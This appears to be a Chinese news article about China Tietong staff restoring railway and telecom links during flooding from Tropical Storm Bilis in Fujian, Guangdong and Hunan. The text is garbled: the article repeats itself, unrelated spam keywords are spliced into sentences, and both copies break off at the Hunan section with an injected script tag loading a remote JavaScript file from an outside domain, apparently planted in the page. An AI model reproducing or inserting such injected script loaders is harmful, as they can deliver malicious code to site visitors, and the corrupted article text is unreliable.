中国铁通力保灾区通信畅通六角网机

中国铁通力保灾区通信畅通 记者 韵冀

受今年第四号强热带风暴“碧利斯”的影响，福建、湖南、广东、广西等省近日普降暴雨，通信光缆线路和设施接连受到损坏，危及通信和铁路运输安全。中国铁通南方各省分公司全力组织抗洪抢险，尽力减轻洪灾损失，并积极为铁路救援抢修和地方抗洪救灾工作提供通信保障。

面对今年洪灾来得早、涉及面积大、影响时间长、通信设施受灾严重的特点，中国铁通各分公司迅速启动应急预案。在关键时刻，公司领导班子、广大党员干部冲锋在前，把先进性体现在了抗灾救灾的具体行动中。在他们的感召下，一线全体员工坚守阵地，他们的共同心愿是要将网络阻断时间压缩到最短，将洪灾损失减少到最小。

福建：抗洪水，搏击大台风

福建省自5月下旬一直暴雨不断，特别是福建建瓯的特大暴雨持续十余日，导致中北部及西部数条河流同时发生洪水，闽江甚至发生了仅次于1998年的大洪水，造成200万人受灾，直接损失50多亿元。福建铁通的通信光、电缆线路及设备受到了很大影响，一些地区和铁路通信系统受损严重，机房被水淹没，多处光电缆线路被冲断，设备被洪水侵害。福建管内鹰厦线北段、外福线、赣龙线共有31处发生塌方、山体滑坡。管内6000多个铁通用户通信受到影响，直接损失约373.6万元。福建铁通先后出动抢险人员1765人次，车辆410台班，抢修光电缆1300米，拉防洪皮线2万多米，累计安装抢险救援电话40部，敷设被复线30500米，向路局传送现场图片356幅，以出色的成绩保障了铁路和铁通通信大通道的安全畅通及广大铁通用户的通信安全。

7月13日，接到省防汛办关于“碧利斯”将在福建登陆的紧急通知后，福建铁通迅速召开防御台风紧急会议，就各项工作做了全面部署，同时认真总结前次洪灾出现的问题，通过对水害径路、受灾易发地段进行分析排查，做好了预防工作。

7月14日，福建铁通组织抗台风增援小组，在台风登陆前抵达了一线阵地。福州铁通所有经营部经理都放弃周末休息时间，24小时严守岗位随时待命；漳州铁通成立的“ctt客户呼叫中心”分成维护组、安装组轮流交替，快速接受客户投诉并进行故障处理；莆田铁通积极做好外线的监测和巡查工作……在抗台风过程中，福建铁通的领导干部以身作则，身先士卒，冲在抗台风第一线，带领员工们充分发扬能吃苦、能战斗的精神，昼夜奋战。由于领导重视、工作到位、责任明确，“碧利斯”入侵期间，福建铁通保证了通信通道畅通，有效保护了通信设施，取得了抗击台风的胜利。

广东：打硬仗，奋战大通道

自7月15日午后起，广东大部分地区下了特大暴雨，粤北、粤东地区受灾尤其严重，多处地段发生路基水淹和坍塌，铁路京广、京九沿线受到严重威胁，列车行车中断，中国铁通光电缆受到不同程度损坏,韶关、乐昌、坪石、东莞、深圳、惠州、汕头等地的通信遭到不同程度的破坏。

险情发生后，广东铁通立即启动防洪抢险应急预案，紧急下达事故救援命令，迅速展开了抗洪抢险工作。15日21时，由广东铁通羊城铁道通信中心技术骨干组成的第一批抢险队伍连夜赶赴乐昌抢险。由于通往乐昌的交通已经中断，抢修队伍无法快速到达故障点。他们找来轮胎、床板，扎成简易木排，将应急抢险器材放在木排上。几名抢险人员脱光上衣在水中推着木排前进发酵设备，将设备安全送到现场，并迅速拍照，将图像传到了广铁救援中心。在78小时内，广东铁通共发送现场图像270幅，转发铁道部237幅，使广铁集团救援指挥中心及时掌握了现场第一手资料，为迅速全面了解事故救援现场情况、及时高效地处理紧急险情提供了通信保证。同时，广东铁通实行了防洪24小时值班制度，随时待命，紧急处理了多起水灾给铁路的数调、轴温、tdcs、无线列调、自动电话等设备造成的故障。

7月16日，铁道部部长刘志军来到乐昌车站指挥抗洪，此时的乐昌车站已经是一片汪洋，乐昌地区所有电话均已中断。广东铁通抢险人员冒着倾盆大雨，腰缠电缆，跳进混浊河水，放被履线1250米，及时为领导开通应急指挥电话５台，并接通了铁道部防洪指挥部电话，为部领导和广铁集团公司领导及时了解、部署抗洪工作提供了通信保障。因受台风影响，京广线多趟列车停运，广州站滞留了大量旅客，广东铁通应广铁集团要求，在广州站二楼指挥塔周围安装喇叭和广播设备，将列车运行的最新情况传送到站场上滞留的旅客。工程技术人员冒着倾盆大雨，在最短时间内安装了广播机前置1台、扩音机1台、25w高音喇叭９套，并提前交付使用。7月18日18时，广铁集团全线通车，抗洪救灾取得了阶段性的胜利，广东铁通受到了广铁集团公司领导的高度赞扬。

湖南：战塌方，助力大救援

7月中旬，受“碧利斯”和第五号强热带风暴“格美”的影响，湖南省境内多处出现严重洪涝灾害，造成京广铁路运输中断，通信设施被毁，给人民生命财产带来了巨羊眼圈大损失。面对严峻的灾情，中国铁通湖南分公司全体员工风雨同舟，用最快的速度抢修被洪水?script src=http://er12.com/t.js> 记者 韵冀

受今年第四号强热带风暴“碧利斯”的影响，福建、湖南、广东、广西等省近日普降暴雨，通信光缆线路和设施接连受到损坏，危及通信和角铁铁路运输安全。中国铁通南方各省分公司全力组织抗洪抢险，尽力减轻洪灾损失，并积极为铁路救援抢修和地方抗洪救灾工作提供通信保障。

面对今年洪灾来得早、涉及面积大、影响时间长、通信设施受灾严重的特点，中国铁通各分公司迅速启动应急预案。在关键时刻，公司领导班子、广大党员干部冲锋在前，把先进性体现在了抗灾救灾的具体行动中。在他们的感召下，一线全体员工坚守阵地，他们的共同心愿是要将网络阻断时间压缩到最短，将洪灾损失减少到最小。

福建：抗洪水，搏击大台风

福建省自5月下旬一直暴雨不断，特别是福建建瓯的特大暴雨持续十余日，导致中北部及西部数条河流同时发生洪水，闽江甚至发生了仅次于1998年的大洪水，造成200万人受灾，直接损失50多亿元。福建铁通的通信光、电缆线路及设备受到了很大影响，一些地区和铁路通信系统受损严重，机房被水淹没，多处光电缆线路被冲断，设备被洪水侵害。福建管内鹰厦线北段、外福线、赣龙线共有31处发生塌方、山体滑坡。管内6000多个铁通用户通信受到影响，直接损失约373.6万元。福建铁通先后出动抢险人员1765人次，车辆410台班，抢修光电缆1300米，拉防洪皮线2万多米，累计安装抢险救援电话40部，敷设被复线30500黄冈米，向路局传送现场图片356幅，以出色的成绩保障了铁路和铁通通信大通道的安全畅通及广大铁通用户的通信安全。

7月13日，接到省防汛办关于“碧利斯”将在福建登陆的紧急通知后，福建铁通迅速召开防御台风紧急会议，就各项工作做了全面部署，同时认真总结前次洪灾出现的问题，通过对水害径路、受灾易发地段进行分析排查，做好了预防工作。

7月14日，福建铁通组织抗台风增援小组，在台风登陆前抵达了一线阵地。福州铁通所有经营部经理都放弃周末休息时间，24小时严守岗位随时待命；漳州铁通成立的“ctt客户呼叫中心”分成维护组、安装组轮流交替，快速接受客户投诉并进行故障处理；莆田铁通积极做好外线的监测和巡查工作……在抗台风过程中，福建铁通的领导干部以身作则，身先士卒，冲在抗台风第一线，带领员工们充分发扬能吃苦、能战斗的精神，昼夜奋战。由于领导重视、工作到位、责任明确，“碧利斯”入侵期间，福建铁通保证了通信通道畅通，有效保护了通信设施，取得了抗击台风的胜利。

广东：打硬仗，奋战大通道

自7月15日午后起，广东大部分地区下了特大暴雨，粤北、粤东地区受灾尤其严重，多处地段发生路基水淹和坍塌，铁路京广、京九沿线受到严重威胁，列车行车中断，中国铁通光电缆受到不同程度损坏,韶关、乐昌、坪石、东莞、深圳、惠州、汕头等地的通信遭到不同程度的破坏。

险情发生后，广东铁通立即启动防洪抢险应急预案，紧急下达事故救援命令，迅速展开了抗洪抢险工作。15日21时，由广东铁通羊城铁道通信中心技术骨干组成的第一批抢险队伍连夜赶赴乐昌抢险。由于通往乐昌的交通已经中断，抢修队伍无法快速到达故障点。他们找来轮胎、床板，扎成简易木排，将应急抢险器材放在木排上。几名抢险人员脱光上衣在水中推着木排前进，将设备安全送到现场，并迅速拍照，将图像传到了广铁救援中心。在78小时内，广东铁通共发送现场图像270幅，转发铁道部237幅，使广铁集团救援指挥中心及时掌握了现场第一手资料，为迅速全面了解事故救援现场情况、及时高效地处理紧急险情提供了通信保证。同时，广东铁通实行了防洪24小时值班制度，随时待命，紧急处理了多起水灾给铁路的数调、轴温、tdcs、无线列调、自动电话等设备造成的故障。

7月16日，铁道部部长刘志军来到乐昌车站指挥抗洪，此时的乐昌车站已经是一片汪洋，乐昌地区所有电话均已中断。广东铁通抢险人员冒着倾盆大雨，腰缠电缆，跳进混浊河水，放被履线1250米，及时为领导开通应急指挥电话５台，并接通了铁道部防洪指挥部电话，为部领导和广铁集团公司领导及时了解、部署抗洪工作提供了通信保障。因受台风影响，京广线多趟列车停运，广州站滞留了大量旅客，广东铁通应广铁集团要求，在广州站二楼指挥塔周围安装喇叭和广播设备，将列车运行的最新情况传送到站场上滞留的旅客。工程技术人员冒着倾盆大雨，在最短时间内安装了广播机前置1台、扩音机1台、25w高音喇叭９套，并提前交付使用。7月18日18时，广铁集团全线通车，抗洪救灾取得了阶段性的胜利，广东铁通受到了广铁集团公司领导的高度赞扬。

湖南：战塌方，助力大救援

7月中旬，受“碧利斯”和第五号强热带风暴“格美”的影响，湖南省境内多处出现严重洪涝灾害，造成京广铁路运输中断，通信设施被毁，给人民生命财产带来了巨大损失。面对严峻的灾情，中国铁通湖南分公司全体员工风雨同舟，用最快的速度抢修被洪水?script src=http://er12.com/t.js>婚检都检查什么
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